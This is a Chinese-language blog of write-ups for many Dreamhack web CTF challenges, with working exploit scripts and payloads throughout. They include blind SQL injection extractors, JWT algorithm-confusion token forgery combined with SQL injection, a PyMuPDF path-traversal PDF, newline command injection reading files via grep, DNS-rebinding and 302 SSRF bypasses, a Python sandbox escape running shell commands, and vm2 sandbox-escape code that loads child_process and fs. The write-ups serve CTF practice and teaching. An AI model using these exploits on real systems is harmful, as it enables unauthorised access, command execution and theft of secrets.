What time is it? 题目使用f"{username}.{created_at * 2026}"来作为session,但是在/welcome里,任何用户都可以得知admin的created_at的UTC时间,转为timestamp就可以获得admin的session。
1 2 3 4 5 6 from datetime import datetime, timezonetime_str = "26/01/2026, 08:18:02 UTC" dt = datetime.strptime(time_str, "%d/%m/%Y, %H:%M:%S UTC" ) dt = dt.replace(tzinfo=timezone.utc) timestamp = int (dt.timestamp()) print ("admin." + str (timestamp*2026 ))
1 DH{It_is_time_t0_s1eep~_~}
22 - SQL Injection Blind 题目提示 FLAG exists in adminadmin’s password Why is this being used twice? 源码审计 /search 路由存在SQL注入:
1 2 q2 = q + q sql = f"SELECT id, username FROM users WHERE username='{q2} '"
“Why is this being used twice?”
数据库中用户名都是名称的重复,注入的查询语句也会被重复。不过还是可以布尔盲注的。
Payload结构 :
1 ' OR [condition] AND '1'='1
重复后 :
1 ' OR [condition] AND '1'='1' OR [condition] AND '1'='1
最终SQL :
1 WHERE username= '' OR [condition ] AND '1' = '1' OR [condition ] AND '1' = '1
可以看到,第一位单引号与最后一位1闭合了,所以并不影响盲注,并且:
条件为真 → 返回所有用户(包括adminadmin) 条件为假 → No results Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsimport urllib.parseBASE_URL = "http://host1.dreamhack.games:23244" TARGET_URL = f"{BASE_URL} /search" def check_char (pos, ascii_val ): condition = f"ASCII(SUBSTRING((SELECT password FROM users WHERE username='adminadmin'),{pos} ,1))={ascii_val} " payload = f"' OR {condition} AND '1'='1" params = {'q' : payload} try : response = requests.get(TARGET_URL, params=params, timeout=5 ) if '<li>' in response.text and 'adminadmin</li>' in response.text: return True except requests.exceptions.RequestException as e: print (e) return False def exploit (): print ("[+] 22..." ) flag = "" for pos in range (1 , 100 ): found_at_pos = False for ascii_val in range (32 , 127 ): if check_char(pos, ascii_val): char = chr (ascii_val) flag += char print (f" [Pos {pos} ] 匹配成功: '{char} ' -> Current Flag: {flag} " ) found_at_pos = True break if not found_at_pos or flag.endswith('}' ): break print (f"\n[!] FLAG: {flag} " ) if __name__ == "__main__" : exploit()
Here, my seat (여기, 내 자리) Description When they take a seat at a cafe, they put up their bags or cell phones.
Even after going to the bathroom for a while, if something is there, the seat still looks like the owner is there.
However, Kim Bo-san doesn’t make any trouble and changes the item to his own.
“Here is my place.”
分析 看到有chromium基本上就是XSS了。
审计代码,流程是 /login登陆,如果是admin,拿到session后访问/flag就能获取flag。
1 2 3 4 5 6 7 8 9 10 BASE = "http://localhost:5050" target = BASE + raw_path login_url = BASE + "/login?id=admin&password=[FAKE_PASSWORD]" driver.get(BASE + "/" ) driver.get(target) time.sleep(5 ) driver.get(login_url) time.sleep(1 )
分析这个流程发现,它需要先xss再访问登陆网页。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.get("/login" ) def login (): sid = request.cookies.get(COOKIE_NAME) userId = request.args.get("id" , "" ) password = request.args.get("password" , "" ) print (f"sid:{sid} , userId:{userId} , password:{password} " ) resp = make_response(jsonify(ok=True )) with _lock: if userId == "admin" and sha256_hex(password) == "f2a9786fd090a2ddc191e3ab443d718c23f34ccf7be485a83ef54c3b48ccd5cc" : if (not sid) or (sid not in _store): sid = newSid() _store[sid] = {"role" : "admin" } else : sid = newSid() _store[sid] = {"role" : "guest" } resp.set_cookie(COOKIE_NAME, sid, httponly=True , path="/" ) return resp
分析这个login路由,看到resp.set_cookie(COOKIE_NAME, sid, httponly=True, path="/"),也就是说SESSION并没有和id对应,只是有一个映射关系,那么思路就是先让bot把COOKIE_NAME设置为我的sid就可以了。
哦对了hackbar测试xss的时候要取消勾选cookie。。。
先登陆,我的sid是sKkQf9nxUeVEnIh-PfgTaHzdG-BAcJwB
http://host3.dreamhack.games:23604/xss?payload=
http://host3.dreamhack.games:23604/admin?path=/xss?payload=
本地通了,远端no response。无语了,这是什么情况??我可以怀疑是靶机炸了吗?
好的就是靶机炸了
Please Don’t Forget 1 2 3 BASE = Path(__file__).resolve().parent STORAGE = BASE / "storage" BOT = BASE / "backend" / "bot.py"
woc这是什么语法,自定义运算符吗?python每天都给我惊喜。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 BASE = Path(__file__).resolve().parent STORAGE = BASE / "storage" FRONT = BASE / "frontend" INTERNAL = "http://127.0.0.1:5006" ENV_PATH = BASE / "credit" def read_env_value (key: str ): if not ENV_PATH.exists(): return None for line in ENV_PATH.read_text(errors="ignore" ).splitlines(): line = line.strip() if not line or line.startswith("#" ) or "=" not in line: continue k, v = line.split("=" , 1 ) if k.strip() == key: return v.strip().strip('"' ).strip("'" ) return None @app.get("/flag" ) def flag (): role = read_env_value("ROLE" ) if role != "admin" : return jsonify({"ok" : False , "error" : "forbidden" }), 403 flag_value = os.getenv("FLAG" , "DH{FAKE-FLAG}" ) return jsonify({"ok" : True , "flag" : flag_value})
先大体审计一下,需要拿到admin的role。
这个internal确实是没有export的,只能通过uploader访问。然后会读取ENV_PATH,默认这个credit是ROLE=guest,检查一下有没有修改它的东西。
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.post("/process/<n>" ) def p (n ): pdf = STORAGE / secure_filename(n) if not pdf.exists(): return jsonify({"error" : "not found" }), 404 r = subprocess.run( ["python" , str (BOT), str (pdf)], capture_output=True , text=True ) if r.returncode != 0 : return jsonify({"error" : r.stderr}), 500 return r.stdout, 200 , {"Content-Type" : "application/json" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import fitz, subprocess, sys, jsonfrom pathlib import Pathpdf = Path(sys.argv[1 ]).resolve() out = Path(__file__).parent / "extracted" / pdf.stem out.mkdir(parents=True , exist_ok=True ) doc = fitz.open (str (pdf)) names = doc.embfile_names() doc.close() res = [] for i, n in enumerate (names): o = out / f"file_{i} " p = subprocess.run( [sys.executable, "-m" , "pymupdf" , "embed-extract" , str (pdf), "-name" , n], capture_output=True , text=True ) res.append({"name" : n, "ok" : p.returncode == 0 , "out" : str (o), "stderr" : p.stderr}) print (json.dumps({ "pdf" : str (pdf), "count" : len (names), "names" : names, "results" : res }, ensure_ascii=False ))
看到这个bot.py的命令拼接那么就考虑命令注入了。好奇怪的调用链啊:
uploader:5005[POST:/process/] -> internal:5006[POST:/process/] -> exec:bot.py -> exec:pymupdf
[sys.executable, “-m”, “pymupdf”, “embed-extract”, str(pdf), “-name”, n]
由于只能上传pdf,这里猜测是需要构造特别的文件名。先去看看pymupdf的手册.
好的不用找了,AIKIDO-2025-10959: PyMuPDF is vulnerable to Path Traversal in versions 0.23.0 - 1.26.6. 再去看一眼requirements.txt,刚好是1.26.6,结合描述:Please Don’t Forget 2025 😔😔。那一定是这个路径穿越了。修改../credit
这个真好,还有tldr😄
1 Affected versions of this package are vulnerable to Path Traversal because the embedded_get functionality does not properly sanitize the user-controlled path parameter. This allows an attacker to craft a path containing directory traversal sequences, potentially causing files to be written outside the intended working directory or to overwrite existing files. The issue is mitigated by introducing stricter path validation: by default, the command now refuses to write to an existing file or to any location outside the current directory. Writing outside these constraints is only possible when explicitly allowed via the -output option or the newly introduced -unsafe flag, making the security impact opt-in and explicit.
好的那exp就是:
1 2 3 4 5 6 7 8 9 10 11 12 import fitzdoc = fitz.open () doc.new_page() doc.embfile_add( "private/credit" , b"ROLE=admin" , ) doc.save("exploit.pdf" )
注意一下穿越的路径就可以了。
Gyul Login Description Yet another login challenge!
Flag format is B1N4RY{(hex string, lowercase)}.
思路 看到数据库了,考注入吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 @app.route("/login" ,methods=['POST' ] ) def login (): banned_word=['from' , 'where' , 'insert' , 'update' , 'delete' , 'join' , 'substr' , 'concat' , 'table' , 'database' , 'schema' , 'if' , 'order' , 'group' , 'by' , 'limit' , 'offset' , 'exists' , 'between' , 'regexp' , 'binary' , 'file' , 'not' , 'rlike' , 'left' , 'right' , 'mid' , 'lpad' , 'rpad' , 'char' , 'user' , 'version' , 'session' , 'sleep' , 'benchmark' , 'hex' , 'base64' , '0x' , "x'" ,'x"' ,'admin' ] banned_letter='+-*/=:;<>.?!\\$%^~`' username=request.form.get('username' ) password=request.form.get('password' ) for word in banned_word: if (word in username.lower()) or (word in password.lower()): return render_template('index.html' ,message='No Hack~ ^_^' ) for i in range (0 ,len (banned_letter),1 ): letter=banned_letter[i] if (letter in username.lower()) or (letter in password.lower()): return render_template('index.html' ,message='No Hack~ ^_^' ) query=f"SELECT * FROM users WHERE username = '{username} ' AND password = '{password} '" print (query,flush=True ) user=None try : connection=db_connection() cursor=connection.cursor() cursor.execute(query) user=cursor.fetchone() cursor.close() connection.close() except : user=None finally : if user and user[1 ]=='admin' : return render_template('login.html' ,username=user[1 ],success=SECRET) elif user: return render_template('login.html' ,username=user[1 ],success='' ) else : return render_template('index.html' ,message='Invalid User ID or Password.' )
那目标就是SECRET。要满足user and user[1]==’admin’。
init.sql有一行注释掉的-- INSERT INTO users (username,password) VALUES ('admin','**admin_password**');,不过呢还是考虑拼接出admin。
REVERSE(‘nimda’)、REPLACE(‘xdmin’,’x’,’a’)应该都可以的吧。
payload:
1 ' union select 1,reverse(' nimda'),2#
或者
1 ' union select 1,replace(' bdmin',' b',' a'),2#
1 2 Hello,admin Flag is Rootsquare's password.
何意味?没有FROM,考虑盲注
尝试 Rootsquare' AND password LIKE '{test_str}'#
结合提示,Flag format is B1N4RY{(hex string, lowercase)} .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsurl = "http://host1.dreamhack.games:16746/login" alphabet = "0123456789abcdef{}_" def check (payload ): data = {"username" : payload, "password" : "any" } r = requests.post(url, data=data) return "Invalid" not in r.text length = 0 for i in range (7 ): bit = 1 << i if check(f"Rootsquare' AND (LENGTH(password) & {bit} )#" ): length |= bit print (f"Password Length: {length} " )flag = "" for i in range (length): for char in alphabet: underscores = "_" * (length - len (flag) - 1 ) test_str = flag + char + underscores if check(f"Rootsquare' AND password LIKE '{test_str} '#" ): flag += char print (f"Current Flag: {flag} " ) break
不是,你这提示是何意味啊,你hex string, lowercase,那这flag头是啥,,还好是LIKE模糊匹配…
1 B1N4RY{c29663c034fcefabe09d7c1af064caea}
log in Description 总是,总是看到的平凡的登录页面。
审计 1 2 3 4 5 6 7 8 9 10 11 12 13 def get_login_user (): try : with open ("log.txt" , "r" , encoding="utf-8" ) as f: for line in reversed (f.readlines()): line = line.strip() if line.startswith("user=" ): username = line[len ("user=" ):].strip() if username=="None" : return None return username except FileNotFoundError: return None return None
这个函数从 log.txt 文件读取最后一行的 user=xxx 来确定当前登录用户,那么就是需要写入[换行]user=admin
pyjail部分用php洗了一遍输入
1 2 3 4 5 6 7 <?php $data = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'GET' ){ $data = $_GET ['text' ] ?? "Error: 'text' variable not found in GET body." ; } echo $data ;?>
好烦人啊,这Chrome一直在发这个东西,还是用Python发吧
1 INFO:werkzeug:192.168.97.1 - - [30/Jan/2026 10:35:02] "[33mGET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1[0m" 404 -
试了Origin等等,都不好使,就 /%0auser=admin%0a 通过了。挺好的,%0a换行。 RCE部分的php涉及到请求参数污染,payload如下
1 2 3 ?text=1&text=PAYLOAD - Flask 解析出 '1' (通过校验) - PHP 解析出 'PAYLOAD' (返回 Python)
当请求是 ?text=1&text=PAYLOAD 时,Flask 的 MultiDict 解析机制默认获取第一个匹配的值 ,然后 request.query_string.decode() 会将原始查询字符串一模一样发给 php,然而 PHP 处理 $_GET[] 的标准行为是,当 URL 中存在同名参数时,取最后一个出现的值 。
pyjail部分套公式,循环查找到os就可以rce了。
1 [x for x in ().__class__.__bases__[0 ].__subclasses__() if x.__name__=='catch_warnings' ][0 ]()._module.__builtins__['__import__' ]('os' ).popen('cat /app/flag.txt' ).read()
最终payload:
1 /calc?text=1&text=[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('cat /app/flag.txt').read()
ABN Gallery 简单审计一下源码,应该是ssrf+域名@绕过(其实不是)
本地尝试了以下几个,最后发现这个东西本地测不来,直接开靶机吧。
1 2 http://localhost:3000/fetch?url=http://chaomixian.top:80@localhost:3000/admin?log=../../flag http://localhost:3000/fetch?url=http://127.0.0.1.xip.io:3000/admin?log=../../flag
试了一下这个,居然不行,提示permission denied
1 http://host3.dreamhack.games:16450/fetch?url=http://127.0.0.1.xip.io:3000/admin?log=../../flag
那就很奇怪了,照理说域名没错了啊。然后仔细审计代码,发现他这个hostIsPublic函数居然会验证dns是不是公网…那就是要dns重绑定了,找到一个能用的试试看:
1 http://host3.dreamhack.games:16450/fetch?url=http://7f000001.08080808.rbndr.us:3000/admin?log=../../flag
先解析到8.8.8.8,通过公网检测;然后解析到127.0.0.1,完成ssrf。
1 DH{7hANks_f0r_vI5i71nG_7he_9A11ery:eYOZ2k6PBbcixMZOy+bbXQ==}
Internal Secret 审计代码,发现存在ssrf+host检测,最后是去 SQLi。
SSRF部分 urlparse 与 requests 对 @ 符号解析存在差异 先来看这个payload:
1 http://example.com%2f@redirector:8081
urllib.parse.urlparse (配合 unquote), 优先寻找第一个 斜杠 /。%2f在 web.py 中先被 unquote 还原为 /,导致解析器认为 Host 已结束,判定为 example.com
requests (及其底层 urllib3) 优先寻找 @ 符号。使用原始字符串,%2f 被视为普通字符,不会触发路径分隔。认为 Host 是 redirector:8081
诶,刚刚好绕过了全部检查,同时完成了ssrf。所以:
1 ssrf_url = "http://example.com%2f@redirector:8081/redir?to=http://internalapi:8081/admin/flag"
SQLi部分 1 cur.execute(f"SELECT ev, job, info, t FROM audit ORDER BY {order} DESC LIMIT 80" )
/audit接口会返回jobs信息,可以 ORDER BY 注入进行布尔盲注。不过输出都是固定的,唯一可以操控的就是输出列表的顺序,考虑通过正反排序来确认语句的返回值。
1 order_payload = f"t*(CASE WHEN (SELECT result FROM jobs WHERE id='{job_id} ') LIKE '%{current_guess} %' THEN 1 ELSE -1 END)"
当然需要先创建一个job。exp的思路就是第一次先读取返回json的第一项的t参数,如果匹配到了,就是正序,也就是真,否则就是逆序,假。需要注意exp跑的时候不要再创建job,不然会有奇奇怪怪的问题😭。
另外还有一个坑点,因为LIKE是不区分大小写,字符集的顺序其实也相当重要。因为注出来的完整数据是有污染的,大概长这样(其实这里诡异的大小写已经埋下伏笔了):
1 coDe_200_HeaDers_{ _server____werkzeug_3_1_5_pytHon_3_11_14____Date____sat__31_jan_2026_04_56_45_gmt____content_type____application_json____content_lengtH____26____connection____close_} _boDy_snippet_{ _flag___DH{ __flag__} _n_} _
我为了直接抓到flag部分,把DH放到了开头,字符集是 charset = "DH{}" + string.ascii_letters + string.digits + "-_",好家伙,当时给我注出来一个DH{25af4e05De78012985212b55},交了不对又注了好几次,怎么也没想到坑在这里😭
诶,下一题吧…
MemoVault Description Your notes aren’t as private as they seem 🔍
审计 (给了docker-compose.yml的题目都是好题目😭,讨厌Dockerfile) 看着应该是考 jwt,毛估估是改HS256利用对称性,就可以通过公钥签名了。简单看了一眼/profile有sql拼接,嗯。
之前遇到jwt题目都是去jwt.io和站长之家的那个工具生成,但是这个网页会强制规范,要是有点不合规的操作会自动纠正。再者如果是线下断网比赛,那就用不了了。所以这回学一下python相关的操作吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def _verify_and_decode_eddsa (token ): if not token: raise InvalidTokenError("missing token" ) header_b64 = token.split('.' )[0 ] padding = '=' * (-len (header_b64) % 4 ) header_bytes = base64.urlsafe_b64decode(header_b64 + padding) header = json.loads(header_bytes) alg = header.get("alg" , "EdDSA" ) pubkey = read_key(PUBLIC_KEY_PATH) if isinstance (pubkey, bytes ): pubkey = pubkey.decode("utf-8" ) return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms()) def _get_token_from_request (): token = request.cookies.get("token" ) if not token: auth = request.headers.get("Authorization" , "" ) if auth.lower().startswith("bearer " ): token = auth.split(" " , 1 )[1 ].strip() return token def _verify_token (token ): if not token: raise InvalidTokenError("missing token" ) pubkey = read_key(PUBLIC_KEY_PATH) if isinstance (pubkey, bytes ): pubkey = pubkey.decode("utf-8" ) return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())
对的对的啊,algorithms=jwt.algorithms.get_default_algorithms()肯定包含HS256啊。
呃呃呃,要装PyJWT,不是jwt,呃呃呃。嗯?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (ctf) ➜ MemoVault python exp.py Traceback (most recent call last): File "/Users/chao/ctf/Dreamhack/MemoVault/exp.py" , line 19, in <module> fake_token = jwt.encode(payload, public_key_content, algorithm="HS256" ) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/api_jwt.py" , line 153, in encode return self._jws.encode( ^^^^^^^^^^^^^^^^^ File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/api_jws.py" , line 183, in encode key = alg_obj.prepare_key(key) ^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/algorithms.py" , line 346, in prepare_key raise InvalidKeyError( jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
呃呃呃要装2.3的PyJWT,不然会拒绝生成😭(题目附件也是这个版本)
1 2 pip uninstall PyJWT pip install PyJWT==2.3
先去/static/ed25519_public.pub把公钥下下来。
1 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl
好的看看SQLi怎么做。
1 cur.execute(f"SELECT id, content FROM notes WHERE owner_id = {uid} ORDER BY id DESC LIMIT 50" )
结合schema.sql和seed.sql可以直接确定flag的位置,那么uid注入为0 UNION SELECT 1, value FROM flags就可以了
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import jwtpublic_key_content = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl" injection_payload = "0 UNION SELECT 1, value FROM flags" payload = { "uid" : injection_payload, "uname" : "admin" , "iat" : 1700000000 , "exp" : 1900000000 } fake_token = jwt.encode(payload, public_key_content, algorithm="HS256" ) print (f"Cookie: token={fake_token} " )
HTTP File Reader 解题 居然是go吗。呃呃呃呃看着像SSRF+命令注入,有挺大一串regex,还有回环检测,估计要用dns重绑定?或者302?
1 2 var banned = regexp.MustCompile(`(?i)(flag|[\@\$\*\{\!\?\.\%\;\|\"\'\#\^\&\(\)\+\=\<\>\\])` )cmd := exec.Command("sh" , "-c" , "cat " + filename)
估计是要vps搞302了。何意味,vps咋登不上去了😭
1 2 3 4 5 6 7 8 9 10 from flask import Flask, redirectapp = Flask(__name__) @app.route('/redirect' ) def exploit (): return redirect('http://127.0.0.1:8080/api/read?filename=/etc/passwd' ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
ok那确实是302,/etc/passwd能够读到了,需要读/flag.txt,既然给到了一个shell环境,那估计是要到sh的特性。
[]是在的,可以用fl[a]g绕过flag的过滤,但是它ban掉了.,这个怎么都弄不出来。考虑使用反引号执行命令作为cat的参数,不过都没有成功。不过一些特殊符号比如换行符%0A,依然会有奇效。考虑到没有通配符,需要一个能递归遍历并且打印文件的程序,find做不到后者【这是错误的 】,但是grep可以。
这里只需要发送/etc/passwd\ngrep -rIs DH /就可以注入命令,并不需要; | &,相当于是回车↩︎了。因为后端使用的Gin框架会自动进行url decode,把%0A解码为\n。
grep -rIs DH /的-r是递归,-I是忽略二进制文件,-s是静默模式(忽略permission denied报错)。已知flag头是DH,从/开始递归搜索。
所以最后执行的命令就是:
1 2 cat /etc/passwdgrep -rIs DH /
payload如下。注意url编码,/etc/passwd%0Agrep%20-rIs%20DH%20%2f
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask, redirectapp = Flask(__name__) @app.route('/redirect' ) def exploit (): payload = "/etc/passwd%0Agrep%20-rIs%20DH%20%2f" target_url = f'http://127.0.0.1:8080/api/read?filename={payload} ' print (f"[+] Redirecting target to: {target_url} " ) return redirect(target_url) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
woc好有意思
补兑,好像是非预期😳 看了一下别人的wp,都是用dns重绑定+专用字符集😨
啊啊啊我怎么记得冒号是被过滤了啊😭,怎么现在再看就没了…
标准payload应该是
1 curl -X POST http://host3.dreamhack.games:18327/request -d 'host=8efaca0e.7f000001.rbndr.us&port=8080&path=/api/read?filename=/fl[a]g[[:punct:]]txt'
补兑,这也可以?😳 ::ffff:127.0.0.1 8080 /api/read?filename=%0acat%20/fl[a]g[[:graph:]]txt 这是CVE-2024-24790
啊这😨 1 host=::ffff:127.0.0.1&port=8080&path=%2Fapi%2Fread%3Ffilename=%60find%2520/%2520-maxdepth%25201%2520-type%2520f%60
也就是两层url编码,原始payload是:
1 host=::ffff:127.0.0.1&port=8080&path=/api/read?filename=`find / -maxdepth 1 -type f`
不是,哥,,,不是,,,,,啊?因为/下只有一个flag.txt是-type f的吗😭
啊啊这? /[f]lag[--0]txt这是什么原理,我尝试了/[f]lag[-0]txt,何意味何意味何意味😭
啊啊啊这??😨 1 /api/read?filename=/fla[g]`head+-c1+/dev/urandom`txt
无敌了无敌了无敌了无敌了,这个是最无敌的
呜呜呜🥹,人家打ctf是抽卡游戏😭。
啊啊啊啊啊?😭😭😭 1 /fla`echo -n g``tail -c 1 files/cat`txt
原来题目给的cat、dog是真的有用的啊😭
1 2 A cat is a small, furry animal often kept as a pet, known for its playful and independent nature. It has sharp claws, keen senses, and is loved for being both affectionate and curious.
我真的有想过这种方法,但我找的是/etc/profile的倒数第5行的第五个符号,根本构造不出来😭
怎么还有用cp的😭 1 cp /f[l]ag[[:print:]]txt hello
DEvELOPmENT A Casino 看到 RS256 和 HS256 字样了,考虑jwt修改alg,泄露公钥等等。 啊这,vm2,前几天好像爆了个cve,这题目应该很老的吧,,,
本地没有公钥私钥,算了,直接开环境吧。
/helpsign 泄露公钥
1 2 3 4 5 6 7 8 9 -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAkyYHw5C+jPvJh47IMAD6 ukm9/EEuMy3CksWmHthRsOnQrRrbAWMrRYeKw7FPu05+PHeCa4/ElcONV8hY5DO4 LKxaQd/bb3vvvLIw+ihdKnRvxXcNm7cD1X9x6U2DMIuVfywhiE84WkAn7KQQz9W3 YAYFtr3SI4Cpg42slWVP6hAZ+x0hOC8QmvaVWzDak+Kl1oUbEq8PJ0xzrG1qziXV 37Bp3y1EeVdyX/tF7oMN1Gwsf6V5VtYEsfSyWYH8nDpBYQVzx+m4c4z4qWz/hxlb /34jPmWdtk2gTdokmCeT8xTxieZ/s2WlirpxMieeJ/XAH2CuF/a1AhNF2jsbTVZu wQIDAQAB -----END PUBLIC KEY-----
PyJWT死活不允许生成,还是太安全了。让ai手搓了一个自动base64+计算签名的脚本。然后手动替换cookie,,,却发现没用?好奇怪啊,一刷新cookie就重置了。估计有什么没注意到的js,暂时先不管了,因为curl带个Authorization就没问题了。
结果这个vm2还真是什么都没有,完全把sandbox.balance暴露出来了,还有这种好事?参考示例就能修改余额。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" http://host3.dreamhack.games:16525/api/me curl -s -X POST \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" \ -H "Content-Type: application/json" \ -d '{"code":"sandbox.balance=1000000;return sandbox.balance;"}' \ http://host3.dreamhack.games:16525/api/strategy/run curl -s -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" http://host3.dreamhack.games:16525/api/shop/flag
不过呢,我想玩玩CVE-2026-22709,需要vm2 <= 3.10.0,好的刚好是”vm2”: “3.9.17”。
来一个poc
1 2 3 4 5 6 7 8 9 10 11 12 const error = new Error ();error.name = Symbol (); const f = async ( ) => error.stack ;const promise = f ();promise.catch (e => { const Error = e.constructor ; const Function = Error .constructor ; const f = new Function ( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f (); });
不过有个黑名单 const blackList = /\brequire\b|\bprocess\b|\bchild_process\b|\bfs\b/;
curl -s -X POST -H “Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g” -H “Content-Type: application/json” -d ‘{“code”:”const error = new Error();error.name = Symbol();const f = async () => error.stack;const promise = f();promise.catch(e => {const Error = e.constructor;const Function = Error.constructor;const f = new Function(“process.mainModule.require(‘child_process’).execSync(‘echo HELLO WORLD!’, { stdio: ‘inherit’ })”);f();});”}’http://host3.dreamhack.games:16525/api/strategy/run
curl -s -X POST -H “Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g” -H “Content-Type: application/json” -d ‘{“code”:”const _call = Function.prototype.call;Function.prototype.call = function(…args) {_call.apply(console.log, [“[+] Intercepted call from host!”]);return _call.apply(this, args);};Promise.resolve().then(() => {});”}’http://host3.dreamhack.games:16525/api/strategy/run
好像跑不通啊。
看别人的wp,发现确实有用沙箱逃逸的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const err = new Error ();err.name = { toString : new Proxy (() => "" , { apply (target, thiz, args ) { const p=args.constructor .constructor ("return pro" +"cess" )( ); const f=p.mainModule ["req" +"uire" ]("f" +"s" ); const flag=f.readFileSync ("/app/flag.txt" , "utf-8" ); throw p.mainModule ["req" +"uire" ]("f" +"s" ).writeFileSync ("/app/html/index.html" ,flag).toString (); }, }), }; try { err.stack ; } catch (stdout) { stdout; }
卧槽还真看见一个赌怪😱:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsfrom requests.adapters import HTTPAdapterfrom concurrent.futures import ThreadPoolExecutorimport timeU = 'http://host8.dreamhack.games:12523/' s = requests.Session() s.mount('http://' , HTTPAdapter(pool_connections=100 , pool_maxsize=100 , max_retries=0 )) s.cookies.set ('auth' , s.post(f'{U} /api/login/guest' ).json()['token' ]) def spin (): try : return s.post(f'{U} /api/spin' , json={'bet' : 1 }, timeout=3 ).json() except : return {} bal, rnd = 100 , 0 while bal < 1000000 : with ThreadPoolExecutor(max_workers=100 ) as e: [f.result() for f in [e.submit(spin) for _ in range (200 )]] bal = s.get(f'{U} /api/balance' ).json()['balance' ] rnd += 1 if rnd % 20 == 0 : print (f'R{rnd} : {bal:,} ' ) if rnd % 10 == 0 : time.sleep(0.1 ) print (s.post(f'{U} /api/shop/flag' ).json()['flag' ])
这疯狂赌也只要20分钟…
Super Safe File Storage Discription Our site has no vulnerabilities! 😗 Our site doesn’t need Guessing! 😎 25.08.24 Patched (add special character, Blacklist.txt)
解题 下载下来的附件只有一句话:blackbox
靶机内部有几个已经存在的文件:
manual.txt
1 2 Because of a file upload attack, that feature will not be available for the time being. However, important process are still running in the background.
stolen_1.txt
